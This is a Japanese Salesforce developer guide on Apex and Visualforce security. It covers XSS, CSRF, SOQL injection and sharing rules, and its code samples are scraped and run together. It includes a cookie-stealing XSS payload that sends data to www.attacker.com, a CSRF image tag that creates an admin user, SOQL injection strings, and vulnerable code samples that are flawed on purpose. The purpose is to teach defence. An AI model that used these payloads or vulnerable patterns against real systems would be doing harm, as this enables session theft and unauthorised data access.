Apex および Visualforce 開発のセキュリティガイドライン
| 使用可能なインターフェース: Salesforce Classic (使用できない組織もあります) |
| 使用可能なエディション: Group Edition、Professional Edition、Enterprise Edition、Performance Edition、Unlimited Edition、Developer Edition、および Database.com Edition Visualforce は、Database.com Edition では利用できません。 |
セキュリティとは
Apex および Visualforce ページの強力な組み合わせにより、Lightning Platform 開発者は、Salesforce にカスタム機能およびビジネスロジックを提供したり、Lightning Platform 内部で実行する新しいスタンドアロン製品を作成したりできます。ただし、プログラミング言語と同様、開発者はセキュリティ関連の不備について認識する必要があります。
Salesforce は、複数のセキュリティ防御を Lightning Platform に統合しました。ただし、不注意な開発者が組み込み防御をスキップし、アプリケーションと顧客をセキュリティ上のリスクにさらしている場合があります。開発者が Lightning Platform 上で犯す多くのコーディングエラーは、一般的な Web アプリケーションのセキュリティ脆弱性と類似していますが、一部のコーディングエラーは Apex 固有のものです。
AppExchange のアプリケーションを認証するには、説明されているセキュリティ上の弱点について開発者が学習および理解しておくことが重要です。詳細は、Salesforce Developers で Lightning Platform のセキュリティリソースのページを参照してください。https://developer.salesforce.com/page/Security。
クロスサイトスクリプト (XSS)
クロスサイトスクリプト (XSS) 攻撃では、悪意のある HTML またはクライアント側スクリプトが Web アプリケーションに提供されます。Web アプリケーションには、意図せずに攻撃の犠牲になっているユーザーに対して、悪意のあるスクリプトが組み込まれます。攻撃者は、Web アプリケーションに対する被害者の信頼を利用し、攻撃の媒体として Web アプリケーションを使用しています。データを適切に検証することなく動的 Web ページを表示する多くのアプリケーションは攻撃されやすいといえます。Web サイトに対する攻撃は、あるユーザーからの入力を別のユーザーに表示する場合は特に単純です。可能性として、掲示板、ユーザーコメントスタイルの Web サイト、ニュース、またはメールアーカイブなどがあります。
1<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo = '{!$CurrentPage.parameters.userparam}';</script>11';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2この場合、現在のページのすべての Cookie が cookie.cgi スクリプトに対する要求のクエリ文字列として www.attacker.com に送信されます。この時点で、攻撃者は被害者のセッション Cookie を持っており、彼らが被害者になりすまして Web アプリケーションに接続することができます。
攻撃者は、Web サイトまたはメールを使用して、悪意のあるスクリプトを送信できます。Web アプリケーションユーザーにより攻撃者の入力が表示されるだけでなく、ブラウザーによって信頼されたコンテキストで攻撃者のスクリプトを実行することもできます。こうした機能により、攻撃者はさまざまな攻撃を被害者に対して行うことができます。これらの攻撃の範囲はウィンドウを開いたり閉じたりする単純なアクションから、データまたはセッションの Cookie を盗むなど、被害者のセッションに攻撃者が完全にアクセスできるようになる悪意に満ちた攻撃にまで及びます。
この種の攻撃の詳細については、次のサイトを参照してください。
- http://www.owasp.org/index.php/Cross_Site_Scripting
- http://www.cgisecurity.com/xss-faq.html
- http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
- http://www.google.com/search?q=cross-site+scripting
Lightning Platform 内には、複数の対 XSS 防御策が組み込まれています。たとえば、多くの出力メソッドの有害な特性を除外するフィルターが用意されています。標準クラスおよび出力メソッドを使用する開発者に対する XSS の脆弱性の脅威は、大幅に緩和されています。ただし、クリエイティブな開発者によって、デフォルトのコントロールを意図的または偶然に、エスケープする方法がいまだに見つかっています。
既存の保護
1<apex:outputText>
2 {!$CurrentPage.parameters.userInput}
3</apex:outputText>XSS から保護されていないプログラミング項目
カスタム Javascript コードと <apex:includeScript> コンポーネント内のコードには、組み込み XSS 保護がありません。これらの項目により、開発者はスクリプトコマンドを使用してページをカスタマイズできます。意図的にページに追加されるコマンドに対 XSS フィルターを指定しても意味はありません。
カスタム JavaScript
独自の JavaScript を作成した場合、Lightning Platform にはユーザーを保護する方法がありません。たとえば JavaScript で使用している場合、次のコードは XSS の攻撃に対して脆弱です。
1<script>
2 var foo = location.search;
3 document.write(foo);
4</script><apex:includeScript>
<apex:includeScript> Visualforce コンポーネントにより、ページにカスタムスクリプトを追加できます。内容が安全で、ユーザーが入力したデータが含まれていないことを確認してください。たとえば、次のスニペットはスクリプトテキストの値としてユーザー指定の入力が含まれているため脆弱です。タグによって指定された値は、使用する JavaScript への URL です。攻撃者が次の例内のこのパラメーターに任意のデータを入力できる場合、被害者に別の Web サイトの JavaScript ファイルを使用するよう指示できます。
1<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />[数式] タグ
1<a href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">
2Go to portal</a>1<a href="http://partner.domain.com/integration/?sid=4f0900D30000000Jsbi%21AQoAQNYaPnVyd_6hNdIxXhzQTMaa
2SlYiOfRzpM18huTGN3jC0O1FIkbuQRwPc9OQJeMRm4h2UYXRnmZ5wZufIrvd9DtC_ilA&server=https://yourInstance.salesforce.com
3/services/Soap/u/13.0/4f0900D30000000Jsbi">Go to portal</a>1<html>
2 <head>
3 <title>{!$Request.title}</title>
4 </head>
5 <body>Hello world!</body>
6</html>1https://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E1<html><head><title>Adios</title><script>alert('xss')</script></title></head><body>Hello world!</body></html>1<html>
2 <head>
3 <title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title>
4 </head>
5 <body>Hello world!</body>
6</html>1<script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script>1https://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F1<script>var ret = "foo";alert('xss');//";</script>ret 変数は、含まれる HTML 制御文字が解釈される場合、ページの後半で追加のクライアント側エスケープが必要になる場合があります。
また、数式タグを使用して、プラットフォームオブジェクトデータを追加することもできます。データはユーザーの組織から直接取得されますが、ユーザーが、他のユーザー (より高い特権レベルを持つユーザーなど) のコンテキストでコードを実行することを防ぐために、使用前にエスケープする必要があります。このような攻撃を実行できるのは、同じ組織内のユーザーのみです。これらの攻撃により、ユーザーロールが弱体化し、データ監査の完全性が低下します。データを外部ソースからインポートした場合、悪意のあるコンテンツのスキャンが行われない場合があります。
クロスサイトリクエストフォージェリ (CSRF)
1<img src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....." height=1 width=1 />つまり、攻撃者のページには、あなたの Web サイトでアクションを実行する URL が含まれています。ユーザーが攻撃者の Web ページにアクセスしたときに、まだあなたの Web ページにログインしている場合、URL が取得され、アクションが実行されます。ユーザーはあなたの Web ページで認証されているため、この攻撃は成功します。この攻撃は単純な例で、攻撃者の手口はより巧妙になっており、コールバック要求を生成するスクリプトを使用したり、あなたの AJAX メソッドに対して CSRF 攻撃を行うこともあります。
詳細および従来の防御方法については、次を参照してください。
- http://www.owasp.org/index.php/Cross-Site_Request_Forgery
- http://www.cgisecurity.com/csrf-faq.html
- http://shiflett.org/articles/cross-site-request-forgeries
Lightning Platform 内では、このような攻撃を回避する対 CSRF トークンが実装されています。すべて��ページにランダムな文字列が非表示形式項目として指定されています。次のページが読み込まれると、アプリケーションはこの文字列の正当性を確認し、値が予測値と一致しない限り、コマンドを実行しません。この機能によって、すべての標準コントローラーおよびメソッドの使用時に攻撃から保護されます。
1<apex:page controller="myClass" action="{!init}"</apex:page>
2
3public class myClass {
4 public void init() {
5 Id id = ApexPages.currentPage().getParameters().get('id');
6 Account obj = [select id, Name FROM Account WHERE id = :id];
7 delete obj;
8 return ;
9 }
10}開発者は独自の action メソッドを作成して、意識せずに CSRF 対策コントロールをスキップしています。id パラメーターはコードで読み込まれ、使用されます。CSRF 対策トークンが読み込まれたり、検証されたりすることはありません。攻撃側の Web ページでは、CSRF 攻撃を使用してユーザーをこのページに移動させ、id パラメーターに値を指定する可能性があります。
このような状況に対する組み込みの防御策がないため、開発者は前例の id 変数のように、ユーザー指定のパラメーターに基づいてアクションを実行するページの書き込みに注意する必要があります。回避策の 1 つは、中間の確認ページを挿入して、ユーザーが本当にそのページをコールしようとしているのかどうかを確認することです。その他の対策として、アイドルセッションのタイムアウトを短くすることや、あるサイトで認証されたまま、そのブラウザーを使用して別のサイトに移動しないように、アクティブなセッションからログアウトすることをユーザーに推奨することなどが考えられます。
複数の Salesforce ログインページが開かれている場合、CSRF に対する Salesforce の組み込み防御策によってエラーが表示される場合があります。ユーザーが 1 つのタブで Salesforce にログインし、その後、別のタブでログインを試みると、「送信したページは、セッションに対して無効でした。」というエラーが表示されます。正常にログインするには、ログインページを更新するか、ログインをもう一度試みます。
SOQL インジェクション
他のプログラミング言語では、上記の弱点を SQL インジェクションといいます。Apex では SQL を使用しませんが、独自のデータベースクエリ言語 SOQL を使用します。SOQL は、SQL より単純で、機能が制限されています。SOQL インジェクションのリスクは SQL と比較して低くなりますが、攻撃は従来の SQL インジェクションとほぼ同じです。SQL/SOQL インジェクションではユーザーの入力を取得し、これらの値を動的 SOQL クエリで使用します。入力が検証されない場合、SOQL ステートメントを事実上変更する SOQL コマンドを指定し、アプリケーションにトリックを仕掛けて意図しないコマンドを実行するようにします。
Apex での SOQL インジェクションの脆弱性
1<apex:page controller="SOQLController" >
2 <apex:form>
3 <apex:outputText value="Enter Name" />
4 <apex:inputText value="{!name}" />
5 <apex:commandButton value="Query" action="{!query}“ />
6 </apex:form>
7</apex:page>
8public class SOQLController {
9 public String name {
10 get { return name;}
11 set { name = value;}
12 }
13 public PageReference query() {
14 String qryString = 'SELECT Id FROM Contact WHERE ' +
15 '(IsDeleted = false and Name like \'%' + name + '%\')';
16 List<Contact> queryResult = Database.query(qryString);
17 System.debug('query result is ' + queryResult);
18 return null;
19 }
20}1// User supplied value: name = Bob
2// Query string
3SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')1// User supplied value for name: test%') OR (Name LIKE '1SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')結果には削除されていない取引先責任者だけでなく、すべての取引先責任者が表示されます。SOQL インジェクションにより、脆弱なクエリの対象となるロジックを変更することができます。
SOQL インジェクションの防御策
1public class SOQLController {
2 public String name {
3 get { return name;}
4 set { name = value;}
5 }
6 public PageReference query() {
7 String queryName = '%' + name + '%';
8 List<Contact> queryResult = [SELECT Id FROM Contact WHERE
9 (IsDeleted = false and Name like :queryName)];
10 System.debug('query result is ' + queryResult);
11 return null;
12 }
13}動的 SOQL を使用する必要がある場合、escapeSingleQuotes メソッドを使用して、ユーザー指定の入力を削除します。このメソッドは、ユーザーから渡される文字列のすべての単一引用符にエスケープ文字 (\) を追加します。このメソッドにより、すべての単一引用符を、データベースコマンドではなく、囲まれた文字列として処理します。
データアクセスコントロール
Lightning Platform は、データ共有ルールを広範囲に使用します。各オブジェクトには権限があり、ユーザーが読み取り、作成、編集、削除できる共有設定がある場合があります。これらの設定は、すべての標準コントローラーを使用する場合に強制されます。
1public class customController {
2 public void read() {
3 Contact contact = [SELECT id FROM Contact WHERE Name = :value];
4 }
5}1public with sharing class customController {
2 . . .
3}with sharing キーワードを使用すると、プラットフォームはすべてのレコードに完全アクセス権限を付与するのではなく、現在ログインしているユーザーのセキュリティ共有権限を使用します。